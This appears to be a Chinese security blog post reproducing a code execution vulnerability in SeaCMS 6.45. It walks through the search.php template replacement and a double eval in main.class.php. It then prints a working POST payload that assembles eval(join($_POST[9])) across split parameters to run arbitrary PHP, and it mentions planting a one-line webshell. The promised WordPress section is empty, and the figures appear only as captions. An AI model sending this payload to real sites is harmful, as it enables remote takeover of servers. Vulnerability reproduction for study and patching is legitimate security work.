seacms和wordpress漏洞复现

seacms-6.45

安装
版本:6.45
源码下载
到安装说明里面将其安装,如果安装了wamp或者phpstudy应该很简单了,不赘述。

一些需要知道的小知识

str_replace('a','b',$content)是将$content中的'a'替换成'b'
join(数组a)是将a中的元素拼接成一个字符串
addslashes($a)转义a的每个双引号
strpos($a,$b)在$a中查找$b第一次出现的位置,未找到则为false

search.php源码解析

提取关键代码:

关键代码1:
$whereStr.=" and v_publishyear='$year'";
$whereStr.=" and v_letter='$letter'";
$whereStr.=" and v_publisharea='$area'";
$whereStr.=" and v_lang='$yuyan'";
$whereStr.=" and v_jq like'%$jq%'";
$whereStr.=" and v_ver='$ver'";

关键代码2:
$content = str_replace("{searchpage:type}",$tid,$content);
$content = str_replace("{searchpage:typename}",$tname ,$content);
$content = str_replace("{searchpage:year}",$year,$content);
$content = str_replace("{searchpage:area}",$area,$content);
$content = str_replace("{searchpage:letter}",$letter,$content);
$content = str_replace("{searchpage:lang}",$yuyan,$content);
$content = str_replace("{searchpage:jq}",$jq,$content);
if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
$content = str_replace("{searchpage:state}",$state2,$content);
$content = str_replace("{searchpage:money}",$money2,$content);
$content = str_replace("{searchpage:ver}",$ver,$content);

构造初步post内容:

searchtype=5&searchword={searchpage:year}&year=:e{searchpage:area}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=print_r(scandir("."));

main.class.php源码解析

seacms和wordpress漏洞复现_第1张图片
content是调用了此函数,追踪此函数:

seacms和wordpress漏洞复现_第2张图片第一个红框:$content必须含有’{if:’
第二个红框:这里不是很看得懂,就当做是把{if: }去除吧
第三个红框(应该是上一个eval,懒得改了):执行双eval

第三个红框那里等同于以下代码:


seacms和wordpress漏洞复现_第3张图片
最终构造提交

最终构造内容为:

&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=print_r(scandi&9[]=r("."));

seacms和wordpress漏洞复现_第4张图片
一句话木马

seacms和wordpress漏洞复现_第5张图片seacms和wordpress漏洞复现_第6张图片
到v6.56为止此类任意代码执行漏洞才暂时没有了。

wordpress

你可能感兴趣的:(漏洞复现)